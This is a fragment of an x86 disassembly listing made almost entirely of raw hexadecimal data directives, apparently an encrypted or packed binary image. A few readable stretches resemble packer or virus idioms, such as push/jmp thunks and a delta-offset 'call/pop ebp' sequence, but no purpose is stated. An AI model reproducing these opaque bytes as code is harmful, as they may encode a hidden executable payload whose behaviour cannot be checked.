		dd 0E9FFFFFFh, 98h, 94h, 5, 1, 0A28h, 2, 20h dup(0)
a8S		db '8!×-éÂ',0Bh,0
		dd 0C6256800h, 13E90624h, 68FFFAB9h, 624C721h, 0FAB909E9h
		dd 0C82B68FFh, 0FFE90624h, 68FFFAB8h, 624C8B0h,	0FAB8F5E9h
		dd 0CA0F68FFh, 0EBE90624h, 68FFFAB8h, 624CA9Ch,	0FAB8E1E9h
		dd 0CD7F68FFh, 0D7E90624h, 68FFFAB8h, 624CE7Dh,	0FAB8CDE9h
		dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h
		dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h
		dd 0DD5129D5h, 0ACE419AEh, 47F37C39h, 1FD3A16Fh, 7A2A4E02h
		dd 8C40D22Dh, 24CFD81Bh, 41E97B86h, 1B82F99Dh, 5400791Ch
		dd 15F0A93Fh, 0E68618CCh, 25F2A912h, 0EF818026h, 4966B3Bh
		dd 0B2A638C3h, 0F2A82E06h, 690DC125h, 6528C0Bh,	10A26D46h
		dd 1B2D1FE6h, 0BAFD5B1h, 6EA6CCE5h, 0A6CAEB0Ch,	74134910h
		dd 576409h, 7CF10000h, 0A16F47F3h, 42021FD3h, 640C9E71h
		dd 0EE499CC0h, 0C1E7188Fh, 0D6B44636h, 780244Ah, 7149F57Eh
		dd 41FD38Fh, 8FDCB450h,	0BB6F1FD3h, 0CD721E97h,	7A15F06Eh
		dd 0C09434C6h, 0D425F2AEh, 0EA9E30DFh, 70B143BEh, 0D634F9E5h
		dd 0E5B48757h, 809744Fh, 0D9h, 91624595h, 0B058EA17h, 0A1B38B37h
		dd 92461FD3h, 56DF5CEEh, 0D3A1D2AAh, 8DB1651Fh,	792CC9DDh
		dd 2CD02F7Ah, 6542F688h, 5354089Ah, 3A8535ACh, 401FD3A7h
		dd 0EA5C1667h, 80BD7AD8h, 6A165DCh, 271067F9h, 0D760E962h
		dd 0D4A1532Bh, 8232E61Fh, 1CB8DC23h, 15F1B1A3h,	0A60D8438h
		dd 0D783FC91h, 1C15219Fh, 7C057E32h, 1560F8D0h,	0B3D78B2Ch
		dd 0B4F1B13Ah, 2F77274Bh, 0F975BD2h, 19398BF2h,	2EC4FA67h
		dd 96F0Fh, 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h
		dd 0EB169054h, 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h
		dd 0DEA71EE1h, 0DBE1B965h, 3C7419AEh, 0A06145C9h, 0BD426529h
		dd 7030B946h, 8F37C938h, 0D3A21BF3h, 0EAC26E1Fh, 7D1FD3A1h
		dd 0B8DC90C9h, 0ECBC7C55h, 0BE436515h, 0D60842Ch, 0EE6922Ah
		dd 0A11FD3A2h, 533C7EDh, 0F58187C7h, 194FD851h,	9EF52865h
		dd 9E3A5E4Bh, 15F036F9h, 20DA666h, 5FF1A5DEh, 0F276EBBFh
		dd 14D45125h, 35DD6F92h, 763810BCh, 17CB25F2h, 0D56678F3h
		dd 9759784h, 9D29h, 6245B600h, 0CE8E0B9Dh, 540428D7h, 7D1DAF52h
		dd 1FD3A732h, 19906F38h, 1BAD5255h, 0A51E73C4h,	0F0B680F9h
		dd 9215D515h, 5C10496Dh, 0D4B97EE5h, 234CAF5Bh,	45F91C14h
		dd 679A0CCCh, 2EDA63F0h, 2C146256h, 611135E9h, 0AF5B045h
		dd 6737FF66h, 982EFA66h, 87379h, 79882400h, 98673E02h
		dd 0B44D5D21h, 0CF30793Dh, 0EF129458h, 6B722C78h, 8B4FC63Bh
		dd 0AC70E728h, 0CA8E05FCh, 0E2AB22DDh, 0DAE5BD69h, 407819AEh
		dd 0A06145CDh, 0BD426529h, 8983B946h, 0B24F5BC7h, 0A7F2A58Ch
		dd 62452083h, 0E6BA481Bh, 4FF3D7C5h, 619E09BDh,	0E1B483EAh
		dd 7FA0BC68h, 873B15F5h, 0A1D6D80Eh, 0F223C462h, 0CCC55CEh
		dd 28D0629Dh, 0AC535404h, 385D8535h, 7FB625F7h,	5C08910Ah
		dd 25F73784h, 0C83F6317h, 0AD8ACEAAh, 0AC36FE8h, 9F1C1418h
		dd 3DE972EBh, 2C165765h, 8D2044F8h, 5D10D8EDh, 436525B7h
		dd 60842CBEh, 0EE672A0Dh, 0FC42BD42h, 3F6A2AB5h, 62862EC0h
		dd 0C9E0A029h, 81C29A36h, 0CCDEC5FEh, 0C2FBA335h, 31F16A0Eh
		dd 0D1638778h, 5FD8BD7Ah, 0F2184829h, 81A50C57h, 0F0F95C08h
		dd 0A666BC1Fh, 0A1DAFE01h, 3FEB74EDh, 0CC202F67h, 0A92246FAh
		dd 0CA41BEE9h, 0F75EA106h, 5A6A2A39h, 6967861Ch, 1A000007h
		dd 34F86F92h, 53178E71h, 6F33AA57h, 8A4EC53Ah, 226EE51Ch
		dd 0C0416568h, 0E12E8549h, 0FF02A66Ah, 1CE3C488h, 0B763DCA5h
		dd 19AED9DFh, 7CC73A72h, 0E6BE6AF3h, 791FD3A1h,	0A15129C5h
		dd 24E41FD3h, 0B8DC808Fh, 46BFD265h, 0A13911BDh, 18CC1FD3h
		dd 0B3CF7BF4h, 4E15F666h, 9AEB219Ah, 0DF1DD8A0h, 79027B9Fh
		dd 36C44F0h, 4BFF25F8h,	0D12E7727h, 0F00F965Ah,	2FDAA5Eh
		dd 2C60F9Bh, 120B6F0h, 6E4h, 73EA1795h,	9209F6AFh, 0AE25DCCEh
		dd 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h, 8D1BDF56h
		dd 6E39FD74h, 0D8511A91h, 0AED9542Ch, 3CAFE719h, 14EBBC7Ch
		dd 0F79A9DF0h, 40ECBE7Eh, 0D3A1BC94h, 0F79B4F1Fh, 2099BD65h
		dd 0F6665874h, 0C63FF315h, 0E75EA106h, 0F1109A5Ah, 9F07B75Fh
		dd 4AEB3E62h, 3E22CE47h, 0E925F865h, 0E1858A29h, 65DAAF4Fh
		dd 0C3F025F8h, 0A006BA4Ch, 0BE3DCF61h, 0F8D68B20h, 0C6003454h
		dd 9945C422h, 4FF8D7A2h, 0E18D1609h, 25F86A09h,	0F9277DAFh
		dd 0A0D99903h, 262FC8ECh, 0BC000000h, 85FE93A2h, 0D3A1FDD9h
		dd 52E4981Fh, 0D3A1DEB2h, 19C5441Fh, 94B85722h,	776F0h
		dd 0DA030000h, 1D5h, 4B7FEB63h,	0F40D9DECh, 0B8183862h
		dd 0C0923AE0h, 53FF781Ch, 15F0609Ah, 0E2BA66EFh, 0FE25F2A0h
		dd 20C85AB5h, 0D60F33E7h, 6673A922h, 11C8F4C6h,	0B256A9FEh
		dd 0BE7EFB8Eh, 0DE8618E7h, 30B41EBAh, 2FEF559Ah, 0AAED0578h
		dd 0EFA0E8Dh, 44F3466Ah, 0A72CD851h, 14CBB8DAh,	1CAE5154h
		dd 63175074h, 0D8BD7AD1h, 9016D65Fh, 4EB14D71h,	0FBD1DD54h
		dd 990ECE47h, 11B54C5Ah, 59D1D69Ah, 0DD93D5ADh,	8EB468E1h
		dd 0F5D44150h, 0FC6307C4h, 342FEC52h, 8558770Dh, 36000005h
		dd 50148B76h, 6F33AA55h, 8B4FC63Bh, 0A66AE11Eh,	3E8A0100h
		dd 0DC258184h, 0FD12A165h, 1BE6C286h, 38C7E0A4h, 0D37FF8C1h
		dd 19AED7FBh, 7CE3568Eh, 8214EBBCh, 0A1815905h,	60141FD3h
		dd 649B0CBCh, 66179040h, 63B95EBDh, 43D579BCh, 0CD464BECh
		dd 0F0361021h, 68E19515h, 6CFE01A8h, 9C29A0C4h,	348F6713h
		dd 992225F2h, 0F23515EDh, 50F4A825h, 6AFC13A0h,	0B9EE9EC2h
		dd 23276C4h, 3BDFDF11h,	38C660D4h, 2645DBF0h, 4F8h, 87FE03A9h
		dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h
		dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AED76840h
		dd 50C3FB19h, 0B9D6245h, 1DAF5057h, 61C01E99h, 6038E446h
		dd 0F31FD3A1h, 7A249B3Fh, 0F094B83Fh, 1F3EB8EEh, 3F2821BAh
		dd 27821Bh, 0A20F0000h,	0DB870095h, 15F0B6FAh, 0DC59EB9Fh
		dd 0E2748B1Ch, 0A67A163Ah, 0C25F2B6h, 0AFEA518Dh, 3E097457h
		dd 31h,	0EABC7CCBh, 97A0F317h, 89CD79F2h, 3415F0F0h, 5E470780h
		dd 0A57A2AA1h, 0BB25F2EFh, 0D89C13ECh, 0D9B15DCDh, 6C25F2EFh
		dd 638214B8h, 448h, 33467CECh, 936C3D17h, 0C99C0B6Dh, 0B0E552A5h
		dd 0B8EEAE37h, 7C892549h, 0F915EFD4h, 0A8FFB345h, 2A65B4Bh
		dd 7D76670h, 54CDC077h,	0EE29BA8h, 4D58181Ch, 0D47820B2h
		dd 0F10E995Dh, 5A2F085Fh, 778821E1h, 452EDA53h,	7A222DF2h
		dd 0EE12EDBAh, 0DD6F01B5h, 4FD8805Eh, 2FF1CBA3h, 0E285E32h
		dd 96DBAA02h, 50FC7519h, 32300978h, 8333570Bh, 0A262DB24h
		dd 4DB4F211h, 446317A9h, 0DD8129BBh, 0F3857A2Dh, 49B0274Bh
		dd 76229BEEh, 284D22EDh, 681CAE62h, 0BE47C03Fh,	0B955ACFEh
		dd 384F22E1h, 0A9CC074h, 99E5F978h, 0E972EB9Eh,	36738029h
		dd 0EB9325C9h, 3BA22BC7h, 57172E6Ch, 0F31DAF50h, 0FBEECC60h
		dd 0B95D01F3h, 802CB542h, 3E6DD6A8h, 0D32C7B3Bh, 0D1F59941h
		dd 0E7798621h, 0FC8E7333h, 0FA16048h, 25B7585Bh, 9A8757E6h
		dd 0BA62F40Bh, 5D811016h, 0A31CE3C4h, 0AD3FD0E3h, 36AE105h
		dd 5FE86134h, 0B6CC0429h, 0FEAA7779h, 3E6E6C26h, 3D6105B9h
		dd 8B7CB8A1h
		dd 0E7792D34h, 0F98B7433h, 88F6E867h, 0B561DAAFh, 3AAA8DCCh
		dd 0F4CC7801h, 874AAC8Dh, 0C276AFD3h, 0DF20874Bh, 0F10E994Dh
		dd 7124137Ah, 95374CF8h, 8EC440C9h, 0ED2352A7h,	0EE670BD3h
		dd 0C3AC8DB8h, 76F319E6h, 606086EEh, 3E63086Dh,	43E37599h
		dd 50CAA26Fh, 0B38856D5h, 3F9C47E6h, 2007h, 95A29400h
		dd 36DB8700h, 0E315F081h, 29FD9D2Fh, 8F25F2C2h,	2C6DCE10h
		dd 0C109745Ch, 0E2h, 47F37C4Eh,	1FD3A16Fh, 7A2A4E02h, 0C340D22Dh
		dd 355BA403h, 902D25ADh, 0B0D430h, 15C95BA6h, 34F46D92h
		dd 51F98B76h, 0C0E79B2Dh, 0CD18C83Fh, 0D31FD32Ch, 0F0B42BD4h
		dd 5FB648B7h, 2CFEA9D8h, 0D32BA880h, 0E3873B1Fh, 8C05A951h
		dd 0F040B7E0h, 1782C15h, 7FF89D9Ah, 13AFF8D3h, 0CCC551Ch
		dd 0F4CC68A7h, 102C13EFh, 2CD46699h, 178F3FF3h,	8CB058EAh
		dd 0F0269F53h, 0FAAE9330h, 0F786E107h, 0D1307626h, 0FA73973Fh
		dd 1E956C3Ah, 4EB54C5Ah, 0FA66EF38h, 1596B54Bh,	0C6000002h
		dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h
		dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h
		dd 19AED48Bh, 4573E61Eh, 6529A061h, 8444BD42h, 0A048DA25h
		dd 0B878057Ch, 0D88012EDh, 95A251B4h, 36DB8700h, 0E315F081h
		dd 0CB7B8423h, 0EB7D21DEh, 0F2C1774Bh, 805EDD25h, 719018D8h
		dd 7D1337DFh, 9745C3Ch,	0E2D1h,	62455E00h, 4F570B9Dh, 6BFD04A6h
		dd 0ED8D1FC3h, 1FD3A7A2h, 8700FFA8h, 0A67A52FEh, 840D1FD3h
		dd 0D3A700D8h, 3BDF931Fh, 8A13A017h, 0D3A706DEh, 0D5AD591Fh
		dd 681FD3A6h, 0A3C77BB4h, 0B94BB4F3h, 2F07B33Ch, 0C21FD3A6h
		dd 0A097EA0Eh, 9FC874EDh, 1415F0BBh, 265CE960h,	0C5E57E51h
		dd 80D3F7EEh, 0D059D2B7h, 0F3C39B47h, 0A25625F2h, 61A2E27Eh
		dd 85451C14h, 0A74FE12Eh, 0DCCA8A03h, 0BCEAAE25h, 5952DE45h
		dd 3BD1FA66h, 1171Ch, 1DE4C800h, 3CC3E2A6h, 58A901C5h
		dd 738C1DE1h, 936E38FCh, 0F16D01Ch, 2FF36A97h, 50148B84h
		dd 6E32A958h, 864FC639h, 0D389610Dh, 0E41C19AEh, 0CB614571h
		dd 0D3A1471Fh, 0A551DA1Fh, 1FD3A1CDh, 5808AC60h, 970EB24Dh
		dd 0FDD5810Ah, 901FD3A1h, 9F08B8DCh, 4572E960h,	570B9D62h
		dd 0AB38AF50h, 1E42BFEBh, 0B0296CCBh, 2448B7F0h, 678FFFABh
		dd 5E1215F6h, 7D8225E5h, 9413C759h, 7730F46Bh, 564F0F88h
		dd 0F66F17A9h, 0F866724Ah, 2D510525h, 19B3FB9Bh, 4AF394Ch
		dd 6C4F790Bh, 3D4EEA60h, 32CDDC8Ch, 4F8F0EA0h, 0A1855D09h
		dd 641851ECh, 0B32BBAC0h, 3CC5E5A5h, 2EDE02AAh,	2C7A79h
		dd 0ECA17C54h, 0B75B0F51h, 60D97D25h, 307FB42Ah, 72380D06h
		dd 0B155FD8Fh, 5552168Dh, 456418AAh, 6206F9AEh,	1FBF3ED0h
		dd 0E35AA502h, 0A1F5881Fh, 0ACD6B1DEh, 63E07216h, 748B1ADAh
		dd 0EC9200D8h, 3E5DA651h, 0F1E3EBD9h, 0C5E004B8h, 8, 0CF327838h
		dd 40A748ABh, 89A6745h,	1AAC5354h, 2DBF4266h, 43D53A79h
		dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh
		dd 0E6895686h, 4C681h, 0EE830000h, 24348704h, 6824248Bh
		dd 2C7Bh, 68241C89h, 6B97h, 68243489h, 624C4B5h, 83241C8Bh
		dd 0D56804C4h, 89000075h, 4832424h, 815E0424h, 4ECh, 241C8900h
		dd 8B08468Fh, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 2434FF5Ch, 4C4835Bh,	0FAAD61E9h, 0B1AB5FFh, 0B8FABB88h
		dd 624CFB9h, 0E0FFC503h, 17E37304h, 318E227h, 18B187C9h
		dd 327CF004h, 3E8A39FCh, 220764C9h, 66076793h, 24EBh, 8	dup(0)
		dd 0BDE90000h, 89000000h, 24D04EB5h, 0F5858B06h, 8B061F0Eh
		dd 1F2D1585h, 98B58D06h, 8D0624D0h, 224BA885h, 0C3D0FF06h
		dd 0E855h, 815D0000h, 24D09EEDh, 0F5BD8306h, 1061F0Eh
		dd 2C850Fh, 0B5FF0000h,	624D04Eh, 2D15858Bh, 3635061Fh
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 0D052B58Dh, 0FF560624h, 24D04EB5h
		dd 15858B06h, 35061F2Dh, 34812736h, 0C483D0FFh,	52B58D0Ch
		dd 8B0624D0h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 61F0EF5h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 0D077858Dh, 85890624h, 61F0F51h
		dd 0D22C8D8Dh, 9D310624h, 61F1081h, 0B5D8D89h, 6A061Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 895173C3h, 1F0729B5h, 8B665B06h, 0C585C7FAh,	0E0061F20h
		dd 0F00005Bh, 1581h, 0FE800h, 0CA6E0000h, 877283D2h, 0D792A7B0h
		dd 3AE90633h, 0E9605EDBh, 5, 63BA2B90h,	0F98B664Eh, 7D85C761h
		dd 61F13h, 60000000h, 329D8589h, 8952061Fh, 1F108D8Dh
		dd 89615A06h, 1F1B058Dh, 0CDB5FF06h, 6A061F1Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0B1C6C350h, 2D5995FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0EEB9D7C3h, 5325150Dh
		dd 0BD293C19h, 61F24D1h, 0E4C08166h, 0FF006AB7h, 1F1D4595h
		dd 0EBC08B06h, 495B503Dh, 631A1D67h, 0E0F697EEh, 226ACBCEh
		dd 7E6B9DE7h, 0A7308903h, 34DFE812h, 934C9F7h, 7BB38C31h
		dd 236C5E9Eh, 5A4ADC03h, 0B5A67541h, 51FFD74Eh,	635000BEh
		dd 0A767039Ch, 0EE8E563h, 0E9000000h, 741861DBh, 0F89A0361h
		dd 0D1BF7F5Ch, 159D8928h, 5B061F2Bh, 3179B529h,	0C381061Fh
		dd 5CC5h, 0F62BCF8Bh, 333C8BF8h, 0F7819AB1h, 7A0F2D3Ah
		dd 48A0Fh, 0B9660000h, 0C78185D6h, 88259FEh, 18C58D8Bh
		dd 0F781061Fh, 1A486112h, 0E98157FCh, 65798893h, 8B33048Fh
		dd 1F20E18Dh, 9958906h,	83061F2Bh, 8F0F04EEh, 6, 2A498589h
		dd 0FE81061Fh, 0FFFFA3E0h, 13850Fh, 81660000h, 0E93F85CAh
		dd 20h,	3404C1E8h, 0F98AF41Ah, 0F281667Ch, 8AE9FDD0h, 2FFFFFFFh
		dd 7C69D2E8h, 86A3CB0Dh, 0D528520Fh, 0CB2F08EBh, 3239h
		dd 0F7E9023Fh, 6800000Bh, 624D492h, 0FB7698E9h,	0D5C268FFh
		dd 8EE90624h, 68FFFB76h, 624D760h, 0FB7684E9h, 0D81B68FFh
		dd 7AE90624h, 68FFFB76h, 624D8E3h, 0FB7670E9h, 0DAD568FFh
		dd 66E90624h, 68FFFB76h, 624DB79h, 0FB765CE9h, 0DCBE68FFh
		dd 52E90624h, 68FFFB76h, 624DDC6h, 0FB7648E9h, 891A1FFFh
		dd 2EE1C728h, 0CB426CCDh, 7225096Ah, 1A8FB011h,	35FA8BB9h
		dd 0D334950Ah, 76D738EFh, 1A7BDCB1h, 0C521820Bh, 0EBC12D60h
		dd 6F16F7B2h, 0B77FA02Ah, 7021FB92h, 0D5F055E3h, 0A97CD154h
		dd 0FA2B7FE0h, 9140D5D6h, 283CF528h, 6A19FBAFh,	2442B0E7h
		dd 0CC6EF7ADh, 46FE71ADh, 4547A102h, 0F2000000h, 5C6474B1h
		dd 0C95C64C9h, 237EB11Ah, 0B4FBAF37h, 35B86F4Fh, 0C74ADFE0h
		dd 47CA7928h, 3BE3CDEEh, 7D07333Fh, 364AA8EFh, 6B53F7ADh
		dd 0D3DC31B4h, 0BB6DBB3Eh, 21C3159Ch, 44A9C602h, 0C09CA102h
		dd 47000000h, 9F0881A4h, 33B6774Eh, 9A49DCDEh, 0B34890Ch
		dd 0E7BE1396h, 774EA326h, 131255B6h, 7AF18E1Dh,	8D002CABh
		dd 0C7187DDEh, 0BAA2DFEh, 7C0D187Dh, 638BBE13h,	74F18E1Ch
		dd 6CB437C5h, 3164CDB9h, 0FBAF0B5Ch, 0CD218231h, 92C52E58h
		dd 1CCB2BCh, 0B2036C1Bh, 52B31489h, 3539B469h, 0B9E2FD5Ch
		dd 9DCE736h, 2F120000h,	8EB41576h, 6B55B617h, 0CAF253B4h
		dd 0AE91F253h, 1B6A98F9h, 15762B14h, 0B8198CB4h, 5ABB5057h
		dd 0FA5B2CF9h, 0E806399Eh, 0E7F7B2ECh, 9BA4FB40h, 607C9D06h
		dd 0D45570EFh, 0B97DB251h, 0F34A7FBFh, 0D6AC2F14h, 3899FA88h
		dd 4CC1E66Dh, 873EB0E3h, 0E291F18Eh, 0B181D233h, 7EB11A74h
		dd 0FBAF3723h, 4B8205B4h, 0F7AD37A7h, 0C486709h, 0A1024663h
		dd 60EC97B8h, 1E53CAF2h, 95C8AE88h, 0F7AD4F59h,	9220CF7Eh
		dd 0DE53h, 81A4FE00h, 1D7E9F08h, 89BF51C3h, 93E86BF9h
		dd 0E80639A8h, 0E7F18EACh, 60E3BA82h, 0FA6312C1h, 8E1186A9h
		dd 85DE61EFh, 0EA402664h, 6ED741DDh, 8E3CB33Bh,	0E77524F1h
		dd 8E4085A0h, 743510F1h, 525DAE13h, 0FBCA2FBDh,	5600DAACh
		dd 0F8CD5009h, 5E0DAC2Fh, 41E42CAFh, 83BB68Fh, 0F18EFDE6h
		dd 88B3AE9h, 51BA69h, 0CAFD663Bh, 0F18EFD24h, 0D7604B3h
		dd 0AFEBB3DAh, 0F0D526FBh, 0CF7EA937h, 7B0B1A6Eh, 8E84DF12h
		dd 0A65501CDh, 98C3EC3Dh, 8F96FB92h, 8DEE4FFEh,	6072EDA2h
		dd 0FCE2FDBEh, 8AC2A79h, 0DFE20000h, 0BE84E546h, 1B2586E7h
		dd 0FAC22384h, 5E61C223h, 2B3A68C9h, 0E546DBE4h, 88E9BC84h
		dd 2A8B0027h, 0CA2BFCC9h, 18D6096Eh, 0B7F7B2EDh, 9BA4CB10h
		dd 6144A506h, 0A4F647A8h, 30850881h, 0CE339415h, 18A84679h
		dd 7827F18Eh, 0E9772C13h, 77749491h, 8475BBEBh,	0C617802Fh
		dd 87AC2FE6h, 0C3C3A26Fh, 58E69550h, 0F561BCEFh, 47F6FBAFh
		dd 141A6BC4h, 0D15FFE81h, 6FD0596Ch, 1CF3B90Ah,	76CFA99h
		dd 85B9E73Eh, 263FC6Dh,	0AD3A1FCFh, 5201B0F7h, 19193AA3h
		dd 52D99174h, 9645DAE1h, 834E8508h, 0E07E6814h,	0F3D20F2Eh
		dd 65E8A184h, 55B617C6h, 0FD34B770h, 72E812F4h,	3AD5F65Bh
		dd 0F364F89Eh, 22F5BD22h, 0C072009Fh, 0E4164A1h, 4B83D7EDh
		dd 2E757233h, 72E721C0h, 50B1600Fh, 0FB929AEBh,	6C3D086Dh
		dd 2143B2E9h, 0C5EA72E7h, 0AD78CD50h, 0CD0059DCh, 70350E21h
		dd 0A85607B6h, 1BB90289h, 25E6BFFCh, 543E5FC4h,	954698A2h
		dd 784DB240h, 41E42CAFh, 58A9DC45h, 3D7A55D3h, 0A7C82D8Eh
		dd 0D356C8C0h, 0E73FCDE9h, 0B4E7503Eh, 74689E49h, 0C1167F2Eh
		dd 34AE608Eh, 0D3066F70h, 7034AE1Bh, 0F95E0DBCh, 4BCE5C33h
		dd 8830D1F2h, 7295B0FAh, 88549DE4h, 0B85A7034h,	0AB125D99h
		dd 82331989h, 0DE000004h, 8E182CC2h, 8638FF1h, 0B258F18Eh
		dd 57F18E2Bh, 96E3F06h,	9DE47225h, 0F18E2B55h, 4DB6D055h
		dd 0D9EA7F8h, 4AC9387Fh, 0FFAEFBAFh, 0DCF47484h, 469518E4h
		dd 70Eh, 43A47D44h, 0E849DCE2h,	91F2A587h, 38990C30h, 0DE3FD4D7h
		dd 515ADDB0h, 36FA5BBCh, 969DFE5Fh, 663FA001h, 83E844A5h
		dd 0B2EF9E50h, 458A31F7h, 26F4FA0h, 48E76A23h, 9FA60B99h
		dd 6E54A50Eh, 609534B7h, 0D8F19D39h, 0C74AD800h, 0F562A67Fh
		dd 459B3968h, 8ABD26D5h, 0FBA9874Ah, 92072C91h,	0F43A82E3h
		dd 654B8D98h, 679A03B2h, 1D42766h, 0BE0F7827h, 114F9EF9h
		dd 617317C3h, 2902FB2h,	0D5872C73h, 22320A8h, 4DE81B84h
		dd 32AB0940h, 6DB80083h, 2085B821h, 0A5A4F507h,	693C8DF6h
		dd 0C7DE3FA0h, 2C8DE4C0h, 77DCAEDAh, 0B530DFB4h, 4D99AD97h
		dd 5381D053h, 89000006h, 2D8EEFA0h, 0CE2F9007h,	77D839ECh
		dd 1E7FE0B7h, 0F927881Dh, 398A394h, 0A67941A2h,	4ADFE445h
		dd 0ECBD88E9h, 97CA2F8Bh, 0F7B2F057h, 0B18CD178h, 0CA5F6474h
		dd 85DB21Bh, 8E1819D5h,	4089BEF1h, 0A4D09A52h, 4E9523D2h
		dd 0FBAFE5CFh, 0F348B160h, 0ADE52EC0h
		dd 64F2A1F7h, 0F0B98CE1h, 2475DE6Dh, 5698CB18h,	79F7ADE5h
		dd 0F9981BCAh, 6AF8B194h, 0BC6999B8h, 0F31469D2h, 0C019E815h
		dd 71240A52h, 3BA04FEEh, 7A199C73h, 3178A5ECh, 0AE5D01CEh
		dd 51E80A4Dh, 1BD3F18Eh, 8FF18E51h, 7AE17296h, 7BC33D4Dh
		dd 0A43063CCh, 0F3FBA995h, 658AC144h, 5AF7B2B1h, 0F7B2B19Dh
		dd 2DA86144h, 1B189E01h, 8B0352D5h, 0C1000005h,	65C627F8h
		dd 667C85Fh, 0AF107124h, 56B7188Fh, 315FC055h, 3BD0DB5Ch
		dd 0DEB179DAh, 82171C7Dh, 24E5C021h, 0CF0267C3h, 0F7B2F01Fh
		dd 0B1C409B0h, 0CA5F6474h, 90F9A847h, 0A94B775Dh, 0EE7120FBh
		dd 9AFB8C99h, 2BAEE246h, 0D53ECFD6h, 9A0D2F80h,	0BD317817h
		dd 12F7B2EBh, 1374D563h, 0BF107932h, 129523F8h,	9C1FE8BDh
		dd 0E4196FBh, 0F7B2EBE0h, 0B240EFh, 184BA0E1h, 0F7B2EBD6h
		dd 57BC4AF9h, 8068374Eh, 743DBA9Eh, 6B0464C5h, 0DAA107EFh
		dd 1B5h, 6474B185h, 0B019C841h,	0AF33847Dh, 1FA251FBh
		dd 0B03E71C6h, 1FF7AD33h, 70270B70h, 33599BE2h,	4EFCF7ADh
		dd 969DEE2Fh, 0A1B7301h, 6DBE137Ch, 0AA49CC43h,	4E2CD51Ch
		dd 5A0901CEh, 6DF9D0F1h, 30653A01h, 55E3C8D5h, 193A8FF4h
		dd 0AA2978F1h, 0AF3F86F7h, 20F18EA6h, 88993C71h, 0D41ED459h
		dd 43C4E146h, 0D15A6BC0h, 7D091C70h, 0C550E114h, 5605FBAFh
		dd 2979CEDh, 38BAF174h,	65F7ADB9h, 0F045C85Fh, 86689BC8h
		dd 49F7ADB9h, 2568EB9Ah, 8BDD6483h, 6889CAE9h, 81D5945Dh
		dd 0D606712Bh, 5F6F7DB2h, 38379B29h, 0DA10261h,	30h, 7FB283A4h
		dd 0C220F400h, 74B1DF34h, 237EB11Ah, 0B4FBAF37h, 0F876B27Fh
		dd 0A04F9291h, 4C0CE61Dh, 2A4F7ADh, 5AC8A7E3h, 0BC7DA102h
		dd 28000000h, 850881A4h, 82B20B2Ch, 291F8FF0h, 1A75369Bh
		dd 0FBACA270h, 6D3E0712h, 0ED9C4BEAh, 7730156Ah, 5869FF4h
		dd 0F5C461A4h, 764FF18Eh, 0A2F74CB5h, 8EF57F6Fh, 5AA150F1h
		dd 0F18EF594h, 0A5069443h, 3E04D451h, 0F5747AADh, 0B463F18Eh
		dd 0BAED5605h, 0FBAE8227h, 479801B0h, 0B61FAD7Eh, 64C55A65h
		dd 0F0DD3803h, 3B953215h, 3B38F19h, 0FBAA33EEh,	0B2F7D14Ch
		dd 83E4E2h, 399B1h, 39EACF00h, 0DEB177D8h, 7B121C7Dh, 22F5B91Ah
		dd 0CA5F60C1h, 0E52A3B69h, 83E445DAh, 2687E8BFh, 0CA2B8C01h
		dd 75D132FBh, 0F211DD10h, 1FC6F7B2h, 69BA4DAh, 0C9EF40A5h
		dd 4263C856h, 0A41768C9h, 2C850881h, 0C79BA70Bh, 8E3A5A94h
		dd 99CE7DF1h, 0D15F4AA1h, 6FD0596Ch, 9830C21Eh,	678BF18Eh
		dd 43F18E98h, 83BA4E2h,	0FBA9CBCCh, 0A94578CDh,	2EF7B26Bh
		dd 17C6F17Fh, 0C5EA3B94h, 4302EFCAh, 0C3729526h, 3E48DD35h
		dd 0E25F80D5h, 499228E5h, 42B7FE8Ch, 2301D3F6h,	26B9F974h
		dd 32B5E2F8h, 2F5E3h, 8D062B00h, 32E5CB2Ch, 0D74E70D1h
		dd 76291576h, 168BB415h, 31E687B5h, 0D738990Eh,	7ADB3CD3h
		dd 1E7FE0B5h, 0C9258607h, 0F3BD3164h, 6B12F7B2h, 881A426h
		dd 94153085h, 4846DF33h, 1E85ACDFh, 0A352FBAFh,	5172C720h
		dd 7A271AC3h, 0FFEF36D5h, 0D0F7ADC4h, 6985B821h, 6EF7ADC5h
		dd 8EA31BFh, 0A8F7ADC5h, 0C4ABE706h, 81A102E7h,	46h, 6474B12Ch
		dd 742B115Eh, 7AAD16C5h, 0FBAF3727h, 439801B0h,	0AD37DE10h
		dd 0B442F1F7h, 37F8FA31h, 9FA5F7ADh, 0BBA7352h,	0E0B3388h
		dd 3E129CDEh, 0C649F84Fh, 0DF668537h, 90CCEB8Dh, 0A1023DDFh
		dd 0F166h, 4FA01100h, 9130B368h, 6879E03h, 0A2D52A83h
		dd 0F18E184Ch, 0CCAF8681h, 0F11C595Ah, 6C4FB442h, 6874C231h
		dd 0EC9BCB1Dh, 78311469h, 485A0F5h, 6EC560A3h, 0FB4CF18Eh
		dd 0C5F8612Ah, 0F18E6E29h, 0C71FFAEh, 0AE0F7039h, 3A931697h
		dd 6E3CB2E5h, 5B61F18Eh, 77A241C4h, 0C22C5FC8h,	15F18E6Eh
		dd 0A580D866h, 104D80E9h, 0A5FBAF62h, 0E44195F6h, 0DD0E41AAh
